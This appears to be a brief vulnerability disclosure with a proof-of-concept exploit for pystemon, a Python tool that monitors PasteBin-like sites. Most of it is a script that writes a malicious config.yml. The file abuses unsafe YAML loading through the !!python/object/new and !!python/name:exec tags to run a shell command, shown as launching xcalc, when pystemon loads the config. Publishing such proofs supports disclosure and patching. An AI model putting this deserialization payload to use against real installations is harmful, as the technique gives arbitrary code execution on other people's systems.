pystemon
is a Monitoring tool for PasteBin-alike sites written in Python, which is vulnerable to Arbitrary Code Execution
.
Vulnerable to YAML deserialization attack caused by unsafe loading.
git clone https://github.com/cvandeplas/pystemon
import os
#os.system('git clone https://github.com/cvandeplas/pystemon')
exploit = """!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('xcalc')"
"""
open('config.yml','w+').write(exploit)
os.system('python pystemon/pystemon.py -c config.yml')
python3 exploit.py
Arbitary Code Execution